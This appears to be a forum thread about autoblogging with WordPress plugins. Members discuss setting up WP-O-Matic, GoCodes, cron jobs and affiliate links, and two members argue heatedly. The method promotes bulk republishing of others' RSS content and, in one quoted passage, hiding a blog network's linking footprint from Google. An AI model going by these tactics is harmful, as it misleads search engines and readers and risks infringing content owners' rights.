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      • Profile picture of the author Keith Kogane
        Originally Posted by Daniel Scott View Post

        Keith,

        Such a slanderous tone is not necessary. Why not show me how I am wrong, instead of calling me names and acting immature?
        See previous nine (NINE!) pages of discussion where this has come up before. Also, slander is spoken, LIBEL is written. Besides that, it would only be libel if it were false, but the only statement of fact I made is that you didn't read the thread, which you admitted just below.

        I'm sorry your feelings got hurt (and I did thank you for contributing), but don't expect to step into a thread which myself and others have worked very hard on, passive-aggressively shit all over it, and then demand we change your opinion when you can't be bothered to read thoroughly before riding in on your high horse.

        Originally Posted by Daniel Scott View Post

        If I'm proven wrong, I'll apologize. I have no beef with you. It's entirely possible I may have missed the part where this discussion already came up. Nine pages of discussion is a lot and although I tried to make sure I skimmed it for the important bits, it's possible I may have missed one.
        You missed SEVERAL times where this has come up. Myself and the previous posters bothered to write the info and have the reasoned discussion. You're the one who comes late to the dance, craps on the parade, and THEN admits not having read the whole thread. I don't have to prove anything to you.

        Originally Posted by Daniel Scott View Post

        Regardless of how you feel about me, or my post to this thread, name-calling is unprofessional, immature, and uncalled for.
        Good thing your previous behavior makes it so I don't care what you think. Otherwise my feelings might be hurt. But seriously, you think what you said is okay because you couch it in subtle language and sentence forms, but all you did was call names. I just had the courtesy not to couch my own words when responding.

        You clearly have a grasp of the language, which is why I said you're in love with the sound of your own self typing. It's not easy to write so that the insult must be inferred rather than directly delivered. That's why I find it even more insulting you didn't bother to read the whole thread.

        But you know, like you said. Nine pages is very long, and I'm sure you're very, very busy. Not too busy to wax clever though.

        Originally Posted by Daniel Scott View Post

        Maybe not the best way to handle criticism.
        But you didn't criticise, you attacked. You didn't say "I'm concerned about the quality" and ask a question or do some research. You didn't even say why you thought this might be the case. You didn't give an example or a reason or a quotation. Therefore it's not criticism, it's commentary.

        You said that you think the method generates "internet trash that no one wants to read" and then questioned the ethics of the method based entirely on speculation, rather than what has been discussed here. On top of that, you phrase things in such a way that you ask for support from a dissenting voice. (Anyone else here?... Anyone?)

        I respond very well to criticism. I'm just not inclined to accept veiled attacks by the uninformed.

        Originally Posted by Steve Porcaro View Post

        Daniel,

        The intent of these sites is to become an authority site..in other words a resource..there are many popular sites that are nothing more than aggregators...

        That effort is worth money...I know myself though I doing this on affiliate sites I go back and see what gets posted and I delete total irrelevance and total junk...yeah that may not be so automatic however that is what I do even though I am using pen names.

        I want quality traffic...It is a model how you determine to use the model is up to you..sure there are people that will abuse this model
        Thanks for sticking up for the method, Steve. I KNOW you read the thread, because you know the point (and my own use of the method) is to create quality, authority resource sites.

        Originally Posted by Daniel Scott View Post

        Steve,

        First of all, thank you for a well-thought out and polite reply.

        The fact that you're putting the effort in to make it a good site is what makes the difference. Any big site has a human touch, it's not just software!
        Yeah, Steve was nicer than me, but again, the fact that you credit him for this response only shows your ignorance of the preceding discussion. The "human touch" is key, as has been stated over and over before you barged into an ongoing discussion to posit your uninformed opinion like a petulant child invading the conversation of adults.

        Originally Posted by Daniel Scott View Post

        I appreciate a little more where this method comes in now, since you have mentioned that it can be adjusted. I've never really played with RSS (apart from using it to syndicate my OWN stuff), so I'm a little wiser I guess.
        You would be a LOT wiser about the method AND RSS in general if you would READ THE THREAD before you post. What did you think ensued during the pages and pages of discussion? Not only has this method been elaborated on and expanded here, whole other threads (like Tim Dixon's) have spun off and expanded possibility even further.

        It really is an insult to everyone who has posted here that you can't bother to read what's come before, and the only statements you can accept are ones that are in direct response to you. It's a very selfish and self-centered mode of operation. It pains me even now that I'm catering to it. Instead of my first and this second response to you, I should have just said "READ THE THREAD" and have done with it. After all, that's the extent of time you spent before posting in the first place, so you certainly don't merit the thought I've put in here.

        Originally Posted by Daniel Scott View Post

        I just know from my own personal web-surfing experience that so little of what is out there is any good. This tool DOES have to be monitored because 99% of what people write on the 'net is crap!
        Theodore Sturgeon once said that 99% of everything is crap. That's a fact of the universe. And it also happens to be the VERY CORE OF THE METHOD. Why do you think it's worthwhile to even make these aggregator sites if you're not going to weed out the crap and post only the good stuff? That's the whole point, which you have missed entirely.

        This thread is CERTAINLY in the 1% of non-crap on the internet, but you won't bother with it, so it won't do you any good, will it?

        But again, Daniel. Thank you for your wonderful contribution to this discussion. We're all very enlightened by your reasoned and well thought out post...

        Oh wait, that's not what happened.
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  • Profile picture of the author Daniel Scott
    Keith,

    Such a slanderous tone is not necessary. Why not show me how I am wrong, instead of calling me names and acting immature?

    If I'm proven wrong, I'll apologize. I have no beef with you. It's entirely possible I may have missed the part where this discussion already came up. Nine pages of discussion is a lot and although I tried to make sure I skimmed it for the important bits, it's possible I may have missed one.

    Regardless of how you feel about me, or my post to this thread, name-calling is unprofessional, immature, and uncalled for.

    Maybe not the best way to handle criticism.

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  • Profile picture of the author Daniel Scott
    Keith,

    You are obviously set in your opinions, and that's fine. But for the record I wasn't using "thinly veiled attacks" or anything like that.

    You give me too much credit. I'm not clever. I say exactly what I think. There is nothing that you have to read between the lines here. I meant exactly what I said, and I certainly meant no harm or disrespect.

    I asked a question. Steve answered it. I learned something. Isn't that what a discussion forum is for?

    I'm not sure if you've read other posts by me, but I would never expect anyone else to follow my views on things. Lots of people do things I don't think are cool, and I'm sure vice versa - live and let live, right?

    I'm sure you've made mistakes in the past as well, Keith. There's no need to act the way you are about it. Especially in a public setting.

    And for the record, instead of the condescending post you made, a simple "Hi Dan, we have already discussed this a couple of pages back, maybe you missed it - check there again, we covered all this" would have sufficed.

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    • Profile picture of the author Keith Kogane
      Originally Posted by Daniel Scott View Post

      Keith,

      You are obviously set in your opinions, and that's fine. But for the record I wasn't using "thinly veiled attacks" or anything like that.

      You give me too much credit. I'm not clever. I say exactly what I think. There is nothing that you have to read between the lines here. I meant exactly what I said, and I certainly meant no harm or disrespect.

      I asked a question. Steve answered it. I learned something. Isn't that what a discussion forum is for?

      I'm not sure if you've read other posts by me, but I would never expect anyone else to follow my views on things. Lots of people do things I don't think are cool, and I'm sure vice versa - live and let live, right?

      I'm sure you've made mistakes in the past as well, Keith. There's no need to act the way you are about it. Especially in a public setting.

      And for the record, instead of the condescending post you made, a simple "Hi Dan, we have already discussed this a couple of pages back, maybe you missed it - check there again, we covered all this" would have sufficed.

      -Dan
      I'm happy to call it water under the bridge if you like, but I stand by my hostile response. Sure, you did ask a question, but it was an offensive question (anyone else think this method is garbage? The people who use it should be ashamed for making garbage!).

      I could also tell by the nature of the question that you hadn't spent much time looking for an answer here before positing the negative opinion, albeit cloaked in a non-question.

      But I appreciate the advice on tact, I sincerely do.

      However, I would think that the possibility that such a question being already answered would have occurred to you, and had you looked for it, would have found it (had you really wanted to).

      Since you obviously didn't (and admitted so), and your initial post didn't posit that you had even tried unsuccessfully to do so, I deduced that you were just a thread-shitter troll.

      I don't think it was a very large logical leap I made. But agree to disagree. I'll take you at your word that I misunderstood.

      Enjoy the wealth of information here in the thread and no hard feelings coming from my end. Nearly any question you can think of has been answered here already, so if you keep an open mind and actually read the thread, I hope you will find it informative.

      Take care!
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      • Profile picture of the author msalada
        I have been following this thread for about a week and am trying to duplicate this process. I have everything installed. WP-O-Matic is pulling posts. The problem I am having is with the links.

        GoCodes is redirecting, so I am guessing the problem has something to do with the setup of the redirects tab in WP-O-Matic. I have filled everything in as directed, but I am not getting any links or keyword replacement. I have inserted the necessary code in the htmaccess file, but something is not working correctly.

        Any help would be appreciated.

        ~Marj
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        • Profile picture of the author Chris Lagarde
          I've been poring over this thread, implementing the ideas, and I've still run into a few snags but with your help I'm sure I'll soon be able to show my wife that I'm on the right track with this project!

          1. I am now getting the wp-o-matic (WPOM) plugin to hyperlink my chosen keyword with the matching GoCode URL. When I hover the mouse over the hyperlink, the GoCode URL is what is shown. And the GoCode does redirect to the affiliate sales page BUT after the redirect what shows in the address bar is my affiliate hoplink instead of the GoCode redirect url

          Isn't the GoCode redirect URL supposed to stay visible in the address bar?

          2. The search terms I used in setting up the RSS feeds are coming through in bold. Any ideas on how to turn off this "feature"? I believe my feeds are coming through Feedburner. Is this a setting in Feedburner?
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          • Profile picture of the author Carm
            Keith

            Just found this post last night, was a teeny-bit ( LOT ) late to bed, wonderful info :-)

            Thank you so much for sharing your blueprint, I have already included it on one site that I was wanting to auto update. Now for the others and some domains that I've had parked. Looking forward to your ebook.

            Steve

            Thank you too for your tutorials, they are just great, a huge help to the tech impaired like me.

            Awesome stuff guys!

            Thanks again
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  • Profile picture of the author TheAtHomeCouple
    Originally Posted by Keith Kogane View Post

    This is my current business blueprint. This is something I've built up over time, and I actually really hesitate to give it away because it works so well. I've been doing this for about a year now with fair success. It really works for me, because you just set up the site once and then you hardly ever have to touch it again. It just runs itself and gets better and better over time.
    Absolutely awesome, I've bookmarked this nice little layout of a proven method that I've currently began using, and will cross reference some of my own methods to what you've laid out for everyone.
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  • Profile picture of the author Graham Maddison
    HI keith,

    I have just launched a new niche site winningways.eu and have been struglling to get some quantity of content. Then I came across this thread.

    FANTASTIC! a VERY BIG THANK YOU.

    I have set up wp-o-matic and have succeeded in getting some posts. However, when I get the posts, they are just two liners ie first two lines of the original but with no link to the actual original full post. In this format they are obviously worthless It is obvious to me I am missing something important. I would be grateful if you could point me in the right direction.

    Thanks in advance.

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    • Profile picture of the author Graham Maddison
      Thanks Steve,

      I think you are right, I have been playing around abit - I'll rephrase that lol, I have been trying various things, the more I try the more I like it. This awesome.

      Thanks again.

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    • Profile picture of the author Tim Dixon
      Originally Posted by Graham Maddison View Post

      HI keith,

      I have just launched a new niche site winningways.eu and have been struglling to get some quantity of content. Then I came across this thread.

      FANTASTIC! a VERY BIG THANK YOU.

      I have set up wp-o-matic and have succeeded in getting some posts. However, when I get the posts, they are just two liners ie first two lines of the original but with no link to the actual original full post. In this format they are obviously worthless It is obvious to me I am missing something important. I would be grateful if you could point me in the right direction.

      Thanks in advance.

      Graham
      Hi Graham.
      I'm not Keith either, but it sounds to me like you don't have the box ticked on the options tab 'Post title links to source?' - you need that ticked to make the title of the post as it displays on the front page to link back to the source instead of the actual post page.

      If you want it to link to the post page (as per most normal posts) then you will need to set up a custom template (again accessed on the options tab) which includes a link back to the source.

      Here's one I often use:
      Code:
      {content}
      Check out the source of this item <a href="{permalink}">{title}</a>
      As for your posts being just 2 liners, what is in the actual feed you are pulling from? is it just a title plus those 2 lines or does it show more?

      Quite often people assume that WPOM will pull the whole article even if it's not shown in the RSS feed, but that's not how it works. WPOM can only make a post with what it finds in the RSS feed, which is quite often just a snippet of a couple of lines or so.

      Tim
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  • Profile picture of the author Dan.Thies
    Amazingly great post, Keith. Great discussion too.

    It would have been even more helpful if you would have picked a great niche for me, done all the research, built me a site, set up all the affiliate programs, and started mailing me a check every week.

    But for now, I guess we'll all have to settle for some great information.
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    • Profile picture of the author Chris Lagarde
      That's right Dan. And Keith, it would be nice you threw in a nice back scratcher. Nothing expensive mind you. Certainly I don't want to be seen as an ingrate.
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  • Profile picture of the author allenjohn
    Hi - Great post! Well done. I would also like to recommend Wordpress Plugins | Fruity Plugins as part of this strategy. I think it fits perfectly.

    All the very best, Allen
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  • Profile picture of the author chamilj
    Hi Keith,
    I wanted to PM you but not allowed because I don't have enough posts to do so. How can I contact you?
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    • Profile picture of the author msalada
      I have pretty much got everything working the it is supposed to, with one exception. When I go into a category there is only one entry, instead of a list of the posts that are in this category.

      Has anyone else had the problem and how did you fix it. It is going to be hard for me to submit category feeds, if they only contain a few lines.

      ~Marj
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      • Profile picture of the author jbreezy
        Is anyone having trouble getting GoCodes to Work with 2.7?
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        • Profile picture of the author kazakhan
          Originally Posted by jbreezy View Post

          Is anyone having trouble getting GoCodes to Work with 2.7?
          Same here. So i'm switching to joomla which i'm more comfortable with, the same can be done with the ReReplacer and Virtual Newspaper Manager plugins.
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  • Profile picture of the author anwar001
    Where can we find affiliate feeds in order to implement your strategy?
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    • Profile picture of the author BigSexy
      Thank you for all the info and your efforts to keeping help people in this thread, Keith.

      I'm gonna implement this technique on one of my rarely updated site for sure.

      BTW, since it's some time this thread has been created, is there someone who is starting to see some $$$ using this strategy? I know it's a long-term business model, but you know, it would be encouraging...

      P.S.= Keith, if it's not you in your avatar, is he some sort of well-known businessman I can't recognize?
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    • Profile picture of the author Mrs S
      I've just spent a couple of hours setting this up on a domain I bought and then didn't know what to do with. I can't believe how easy it is to do and plan on making a few more.

      I've only read up to page 2 so forgive me if this has been mentioned but I'm using the SEO Smart Links plugin as well. Set up the cloak using go codes and then instead of using WPOM to add the link use SEOSM. It has the advantage of being able to set nofollow - but will also add the links throughout your site - not just on future content. Useful if you hit on a new affiliate programme or keyword.

      Now to sit back and see if it works!
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  • Profile picture of the author Dan.Thies
    A few of my students been seeing income with a lot *less* than what Keith is doing, for a long time. What Keith has added to the model will add more revenue, without a doubt.
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  • Profile picture of the author romanmt
    Thanks for sharing this, Keith!
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  • Profile picture of the author ahutton
    I do pretty much the same thing. But I use Jeff Johnson's free SEOBlog software which sets up your WP blog for SEO and comes preset with some excellent plugins. Get that at undergroundtraininglab.com . These blogs get indexed real fast.

    For the autoposter I use Slick Autoposter from Ed Chiasson (I bought it in a WSO.) The name SLICK definitely describes it. I like it so much better than the free plugins. And no I don't sell it. Find it at Automated WordPress Posting . It also lets you make rss feeds out of PLR articles and youtube videos, and more.

    For feeds take a look at Michelle Timothy's fantastic associatefeedgenerator.com that creates beautiful Amazon keyword targeted feeds and cloaks your associate ID. Pricey, but worth it.

    Also take a look at RSS Feeds Toolbox - RssGround.com . For $19 a month this site lets you create targeted Ebay, Clickbank, and Amazon feeds.

    That's my system. Make a video for each new blogsite and submit that to a lot of video directoris using either Tubemogul.com or Contentboss.com (more directories to to submit to.) Then I use Michelle MacPhearson's 30 minute backlinks method.

    If you can get each new blog to the point where it only makes $35 a day, eeach new site will add $1000 a month to your income. Or think of it as if each blog makes just $10 a day, 3-4 well chosen blogs will make $1000 a month.

    Keep in mind that without the proper market research into a niche and proper keyword research, your results won't be as good as they could be. I mean don't just throw up a blog on Monkey Cages, without first seeing what the market is for them.

    Hint: print out a calendar just for you blogs and note the date that the rss feeds run out so that you can go grab more feeds when they run out. And again, no I'm not selling anything.
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  • Profile picture of the author jredder
    For those Jeff Johnson fans there is always the Affiliate Traffic Machine for rss feeds
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  • Profile picture of the author jredder
    I have used the uniquearticlewizard.com as a consistent, repeatable and reliable way to generate a lot of one way backlinks in a relatively short period of time. This will only be as good as the associated keyword research that accompanies it.
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  • Profile picture of the author jredder
    In fact I wouldn't create blog in this method unless I run them through google trends and google insight to make sure I am riding with the marketing trend and not against it.
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  • Profile picture of the author BigSexy
    Got another question...how can I make my wordpress homepage look like a magazine one (i.e., divided into different section, on the top I'd like to have my unique article, on the bottom google feed news, etc.)? Does it depend by the template or by some plug-ins?

    Thanx.
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  • Profile picture of the author cmac2250
    just to clarify--are the rss feeds that you turn into posts taken from other blogs? I am just confused on how that works out
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  • Profile picture of the author LarryC
    WP-O-Matic Plugin - this is a plugin that lets you take RSS feeds and turn them into posts automatically. >>

    Thanks, so far I've only taken that piece of advice from your post but it works well. It took me a while to figure out how to install it -- what the hell is cronejobs, lol (for non-techies this stuff is difficult), but after Googling it I found out you access it from your Cpanel and it's not that hard. But this application does what many paid services do --adds lots of content to your blog automatically!
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  • Profile picture of the author NashRyker
    Thanks for the great post. This definitely opens up some new ideas for me. I learned a lot from this and I appreciate you sharing it with us.
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  • Profile picture of the author undergroundguru
    Seems you have your basics down. Autoblogging is extremely lucrative, and ROI is Fast...
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  • Profile picture of the author johnryan
    Always like to hear about other WP plugins, thanks
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  • Profile picture of the author mix_daylee
    Daylee Tip: For videos just use vodpod.com, you'll be able to display your favorite videos from any video site on your blog.
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  • Profile picture of the author moneymaker1206
    As I just posted in another thread, I wish this wasn't all in a foreign language to me because this sounds ideal to me, someone who would like to be a lazy marketer who doesn't understand all this auto blogging stuff quite yet.
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  • Profile picture of the author jbreezy
    Just wanted to personally thank Keith and all others who have contributed to this thread. This concept works great and has made me quite a bit of money in the short period I've been involved in it.

    The cool thing this is that there is literally so many options you have available to you when you master the process of setting these up.
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  • Profile picture of the author Mrs S
    I'm not sure I've set my cron job up properly. My campaigns page says NEXT! besides one of the campaigns (the others have hours to go before they're due) but it doesn't seem to be running (it's said next for about 3 hours).

    I'm using cpanel with gator host - can anyone give me a tip on how to get it to work. I can run them manually but would like it to be automated.

    Thanks
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    • Profile picture of the author Muhammad Hassan
      Originally Posted by Mrs S View Post

      I'm not sure I've set my cron job up properly. My campaigns page says NEXT! besides one of the campaigns (the others have hours to go before they're due) but it doesn't seem to be running (it's said next for about 3 hours).

      I'm using cpanel with gator host - can anyone give me a tip on how to get it to work. I can run them manually but would like it to be automated.

      Thanks
      Here's the solution I used to get my cron job to get the posts automatically with Wp-O-Matic - hope it helps you.

      You need to change some code in the wpomatic.php file which can be found in the wp-content/plugins/wp-o-matic folder.

      Change line 447 to:

      $campaigns = $this->getCampaigns();

      I found this in responce 27 on page:

      pixca.net/blog/code-programming/wp-o-matic-cron-job-done-but-no-campaigns-processed



      If it's with the setting up the cron job here's what I did:

      On cPanel goto Advanced section and click Cron jobs. I chose Advanced (Unix Style) button.

      I entered the following values in first 5 boxes:

      0 2 * * *

      to get the command to run at 2am daily.

      I entered

      /usr/bin/curl http: //www .yoururlname.com/wp-content/plugins/wp-o-matic/cron.php?code=xxxxxxxx

      into the command box. This command is given by Wp-O-Matic - Choose settings on Worpress admin then choose Wp-O-Matic and Options. Use the code given and not xxxxxxxx. Chnage yoururlname to your actual url name.

      Please Note: It has spaces in the code above (http: //www .), but you should enter the command without the spaces. I had to put the spaces in because I do not have enough WarriorForum posts to post a link.

      I then clicked Commit Changes button on cPanel page.
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      • Profile picture of the author Mrs S
        Originally Posted by Muhammad Hassan View Post

        Here's the solution I used to get my cron job to get the posts automatically with Wp-O-Matic - hope it helps you.
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        I then clicked Commit Changes button on cPanel page.
        Thanks for this - I've tweaked it following someone else's instructions so I'll wait and see what happens. If still no luck I'll try your method
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  • Profile picture of the author Kristi Lane
    Have you tried disabling all of your other plugins then running WP-o-matic? The WP Automatic Upgrade plugin is what usually causes issues for me.

    Kristi
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  • Profile picture of the author coreytucker
    Im having the same troubles Steve. I installed WP O Matic and did all of that, did I went to Cron and did the standard installation, it said the Unix was advanced so I did not do that.

    It says in my WP o Matic options that im using Unix (has a check next to it) but when I add a feed url to it I get the errors I posted above. Very frustrating indeed, ive been looking for a solution on here also and have seen nothing. Im wondering if I need to install it under the Unix now even though it acts like ive already installed it under Unix.
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  • Profile picture of the author julie004
    Thanks for all the great info here. I'm pretty new at IM so this opens up a

    whole new cans of worms for me. I'll google up some info to learn about all

    this in hopes of being able to apply these techniques. Thanks to all.
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  • Profile picture of the author Dave Friend
    Wow! What a great post Keith and thanks very much for sharing this information with all of us it is very helpful, especially as I have been giving a lot of thought to starting some blogs of my own and seeing how they perform.

    Just one question for you, typically how long does it take you before you start seeing a trickle of results and then a large amount? Does this depend entirely on the amount of blogs you set up, or the niches you set them up in?

    Many thanks once again,

    David.
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  • Profile picture of the author tobe
    Originally Posted by Keith Kogane View Post

    Do this over and over with new blogs in as many niches as you can manage.
    This is a great set of ideas. I'm going to try it out on a site and see if I can make it work me. Thanks Keith.
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  • Profile picture of the author gocontempo
    I want to do a little bit of linking between my blogs and I don't want to leave a footprint and I am reading Keith's post at the very beginning of this forum. Does anybody know the plugin Keith is talking about??:

    "Yes. Also, some of these blogs will naturally pick up a high PR just magically. I use my high PR sites and give my lower ones a backlink to pump them up. I'm worried about maybe leaving a footprint and having google think I'm a blog network (which I guess informally, I am) so I started using this other plugin, I forget the name, but it basically rotates your blogroll randomly, so it mixes things up regularly. But that's advanced. You don't need to know about that until you build your first one. "
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    • Profile picture of the author coreytucker
      For those of you wondering where to get the feeds from check out the post about using Google Reader.

      http://www.warriorforum dot com/main-internet-marketing-discussion-forum/34350-turn-google-reader-into-semi-automated-blogging-machine-part-1-a.html

      I just posted the url to my feed for my niche and it finally seems to be working as it accepted the Url that I got from Google Reader. I set Wp O Matic to post every 8 hours, it says 10 post are fetched and I fetched them all at once and 10 came up!

      However they came up under the category section, how do I make the post create a new page with the keyword phrase targeted?
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  • Profile picture of the author coreytucker
    So im still lost though, how do we add affiliate links that target keywords to each post all automatically? Also how do we make a new page for each post that targets a keyword phrase or at least a new post that targets a keyword phrase? Im guessing perhaps 3 post per day would be a safe number to do?

    Sorry guys, im really new into the area of RSS feeds.
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    Thanks man, great post!
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    • Profile picture of the author 4morereferrals
      Hey Coreyt ...

      Im about at the same point you are with WPOM . Ive got google reader subscribed to some feeds, but Im finding I really need to pickout the "wheat from the "chaffe" as the say.

      For one of my blogs - I had to abandone WPOM and Im using YAAB - yet another auto blogger plug in. It works with my theme [remix2.0], but it doesnt do the keyword replacement and linking like WPOM - sighhhhh. WPOM doesnt appear to be compatible with the Remix2.0 theme.

      Part 1 of Tim dixons great posts indicate you pick a post from Google reader and click "share with notes" - add you unique snippet of info, then add your TAG.

      Ive found that my WPOM / YAAB "campaign" name I setup in the plug in interface must be the same as the TAG I assign the content/post in Google Reader [maybe this is just a coinky-dink?]

      My current use / need is for a "semi-automated" model to add highly relevent guru content in with my own articles - and of course my links. So I send my posts into wordpress as "Drafts" - then I go in - clean em up a bit and manually schedule them. If my blog is newsletter like - I could get 52 weeks of content done this way in a single weekend. So what I did was annotate 15 articles or so with my own thoughts and comments in Google reader - add some links in manually in wp editor while in draft mode - as YAAB doesnt do that for me [still looking for a WPOM alternative that does] and then "scheduled" them for 1 post a day for the next 15 days. This works for me - as I can take the original authors concept and elaborate on it and apply the lesson or principle to my niche. Its a spark to my creative side - which I need regularly. Some of the psots are just good and need nothing more than - geez, this is a great piece You Need to read every word of this !

      Seems the current model , as illustrated in this thread - the post scheduling is based upon what ever interval WPOM fetches from google or other feed via the cron job or simulated cron job. My problem with that is if WPOM finds 14 posts in that particular feed - bam - your blog gets 14 posts in 1 crack. Is that kosher with ya'll ? Am I over analyzing that?

      I too want certain feeds/categories of posts to be posted to certain "PAGES" of my blog - but apparently this is not an inherent feature in WP and needs a custom plug in. I havent founfd that yet - but some ones that come close do.

      Let me know if you find anything in that regard!

      HTH,

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      • Profile picture of the author 4morereferrals
        Ok its looks nice ...

        Does it do it AS WP-O-Matic/YAAB makes the posts or do I need to go into each post or draft and run a process on them individually?



        Originally Posted by Steve Porcaro View Post

        Steve,

        Here is a possible solution that is sold by John Taylor of the Warrior Forum
        Easy WP Affiliate

        I think this can solve your and alot of others whoa's.

        I do not own it, as I have everything working.
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        • Profile picture of the author Tim Dixon
          Originally Posted by Steve Porcaro View Post

          Steve,

          Here is a possible solution that is sold by John Taylor of the Warrior Forum
          Easy WP Affiliate

          I think this can solve your and alot of others whoa's.

          I do not own it, as I have everything working.
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          Originally Posted by 4morereferrals View Post

          Ok its looks nice ...

          Does it do it AS WP-O-Matic/YAAB makes the posts or do I need to go into each post or draft and run a process on them individually?
          Important to differentiate between what WPOM does and what GoCodes (or equivalent) does.

          GoCodes is just a url redirect plugin. e.g. you give it an ugly affiliate link and it provides a nice url on your domain which will redirect to the affiliate link.

          WPOM - you use the ReWrite tab to specify a word or phrase in the new post it creates and you can both rewrite that word or phrase and/or link that word or phrase to a url. In Keiths model the URL you specify is the one you get from GoCodes.

          John's Easy WP Affiliate works outside of the WPOM/GoCodes setup I believe in that you wouldn't use the rewrite function of WPOM, but Easy WP Affiliate would add the links in as the post is being created. At least that is how it looks to me, but I'm willing to be corrected!

          I'm not sure if those links would then get included in the RSS feed (which is one of the key techniques used here and in my model) or indeed if Johns plugin and WP-O-Matic play nicely together. That would need testing.

          Tim
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          • Profile picture of the author 4morereferrals
            Tim,

            I understood what the tool would do, but I could see how someone else NOT struggling with the WPOM alternative issues that I am might not be clear.

            I would need to use 2 different plugins to replace WPOM.

            - YAAB
            - WP Affiliate

            I like Keiths point about keeping GoCodes in the mix because you keep all these same links with your domain URL all over the place. I suspect that if my POSTS on my blog that I create [via whatever method] dont get into MY outgoing RSS feed until I actually PUBLISH them I could be in ok shape getting my affil links out there with the GoCodes beautified URLS.

            So I would ...

            Tag my relevant content manually with the Google Reader as you illustrated in your post[s] with NOTES [my notes].

            - YAAB would pick them up as an incoming subscribed feed. I have set to post them as DRAFTS. I then look at my DRAFTS section of the posts .. go into them with John Taylors WP Affiliate plugin - add links - hit post. Id have WP Affilaite insert Go Code links. I understnad GoCodes tracks clicks on those links? Gotta keep the Go Codes in the mix!!!
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            • Profile picture of the author Tim Dixon
              Hi Steve.

              Looks like you've got it covered.

              It will be interesting to see how it pans out with that setup, do let me know.

              Thanks
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  • Nice information Keith!
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  • Profile picture of the author jbreezy
    When I go to edit GoCodes or add a new GoCode I'm getting this...any ideas?


    Fatal error: Cannot redeclare wsc_gocodes_install() (previously declared in /home/knock4/public_html/forexreviewtoday/wp-content/plugins/gocodes/gocodes.php:29) in /home/knock4/public_html/forexreviewtoday/wp-content/plugins/gocodes/gocodes.php on line 27
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    • Profile picture of the author vicone
      Some time earlier in this thread a product was recommended as an introduction to profitable blogging.

      It seems that there has been a bit of discussion and some developments on this topic. The comments on the following thread are worth a look (its in the Products Reviewed section):

      http://www.warriorforum.com/internet...tml#post392897

      Ivan
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      • Profile picture of the author chamel
        After messing with this for 2 days, I finally got everything to working

        I have a couple of questions still though... The first time it pulled the feeds for the post, I pulled in 30 posts for one day! Yikes

        Do I control the number of posts it pulls in from the wpomatic plugin? I would rather have 2 per day, looks a little more natural.

        second question, the posts it pulled in were right on target, but it did not post the entire article, but only a snippet, and of course the link that says read more here, which takes them to the original page, and off of my site

        I would rather have the entire post on my site loaded with affiliate links versus a small snippet with only a few,(sometimes no) links.

        Is this controlled by the actual feed that I am using?

        Thanks up front for all of your help.
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        • Profile picture of the author VegasVince
          Way cool, OP, Keith.

          Thanks.

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        • Profile picture of the author allenjohn
          Originally Posted by chamel View Post

          After messing with this for 2 days, I finally got everything to working

          I have a couple of questions still though... The first time it pulled the feeds for the post, I pulled in 30 posts for one day! Yikes

          Do I control the number of posts it pulls in from the wpomatic plugin? I would rather have 2 per day, looks a little more natural.

          second question, the posts it pulled in were right on target, but it did not post the entire article, but only a snippet, and of course the link that says read more here, which takes them to the original page, and off of my site

          I would rather have the entire post on my site loaded with affiliate links versus a small snippet with only a few,(sometimes no) links.

          Is this controlled by the actual feed that I am using?

          Thanks up front for all of your help.
          Hi - Quick answers:

          1. Limit number of posts in Options in WP O Matic - 1+ per day
          2. Yes. Determined by feed. Look to find people who supply full feeds.

          All the best, Allen
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  • Profile picture of the author allenjohn
    Hi,

    Great post and you can see that we have followed your words of wisdom by implementing here:

    Analog Camcorders Blog Archive Panasonic PV-L352 Analog Camcorder

    But as you can see the hyperlinked 'camcorders' in the post is not hyperlinked in the feed itself:

    Analog Camcorders

    So, this is my question: How do you keep the links alive in the description part of the feed, as surely this is how the keyword link love gets generated?

    Your help is greatly appreciated and you are already my hero.

    Thank, Allen
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    • Profile picture of the author Tim Dixon
      Originally Posted by allenjohn View Post

      Hi,

      Great post and you can see that we have followed your words of wisdom by implementing here:

      Analog Camcorders Blog Archive Panasonic PV-L352 Analog Camcorder

      But as you can see the hyperlinked 'camcorders' in the post is not hyperlinked in the feed itself:

      Analog Camcorders

      So, this is my question: How do you keep the links alive in the description part of the feed, as surely this is how the keyword link love gets generated?

      Your help is greatly appreciated and you are already my hero.

      Thank, Allen
      Whilst the links may not be active when you view the feed in your browser (although if you check the XML source code they are actually there) what you will find is that if anyone subscribes to the feed with an RSS reader, then the links are active, also when you submit the feed to an RSS directory (which is where you get the link love from) then the link is usually active in their results as well.

      Tim
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  • Profile picture of the author cmac2250
    Hi Keith,
    I was going to start this method but i just have a few questions. First, google or adsnese hasn't given you any problems for using only synidcated content? It seems that they could ban you for this. Second, you have not had any legal trouble from the sites you are syndicating? I know you said it is the same as google news but i believe google news may actually pay for their syndicated stories.

    Let me know what you think about this
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    • Profile picture of the author Dylantk
      I'm still very new I've installed the WP-o-matic and the gocodes. But now I'm confused. Starting A new campaign...How do I do that. Do I google for the feed url and what kind of feed url do I need? How do I impliment gocodes into the feeds? I only have 1 affiliate product right now but I'm trying to udilize adsense. Please help me fix this I really wanna experiment with this type of blogging.
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  • Profile picture of the author RockstarBen
    Love it! I have used WP-O-MATIC on 2 sites in the past to share my own content back and forth, but this is a very good insight. Thank you. I will get my next site up ASAP. Hey it gets that sucker up and done, right? I can always go back and put in original content later, but this will be a good procrastination buster.

    Thanks Again!
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  • Profile picture of the author realworldincome
    For one of my sites, awhile back I tried several times to use the WP-O-Matic plugin, but for whatever reason could never get it work just right. Tried some other options, then finally settled on Autoblogged, which has improved over time.
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  • Profile picture of the author ztrek
    Keith there's also the ALinks plugin for wordpress which will allow you to create links to affiliate products based on keywords. This works great with using WP-omatic. Yes the system you describe will work. I've done it in the past.
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  • Profile picture of the author bill05
    Keith

    This is fantastic stuff!

    And a little help for folks looking for keyword feeds...

    I was doing the google rss search and came across a nice list of plug-n-play feeds at this site - just add your keyword

    (but the system will not let me add the url until I have 15 posts)

    bill
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  • Profile picture of the author bill05
    So I have added this post to be able add the next post
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  • Profile picture of the author bill05
    Which is here (a list of generic rss feed source - just add your keyword)

    List of Keyword RSS feeds

    and hopefully a help for someone

    bills
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    • Profile picture of the author Tim Dixon
      Originally Posted by bill05 View Post

      Which is here (a list of generic rss feed source - just add your keyword)

      List of Keyword RSS feeds

      and hopefully a help for someone

      bills
      Good find Bill, thanks for sharing.

      Tim
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  • Profile picture of the author BigSexy
    I don't get the link building part of this method...can you really get to high PR rank just by auto-submitting to feed aggregator sites??
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  • Profile picture of the author Keith Kogane
    Hey all. Don't want anyone to think I've forgotten about this thread. If you asked me a question here or sent me a PM recently I WILL get back to you. Maybe not until the weekend, but hopefully before then.

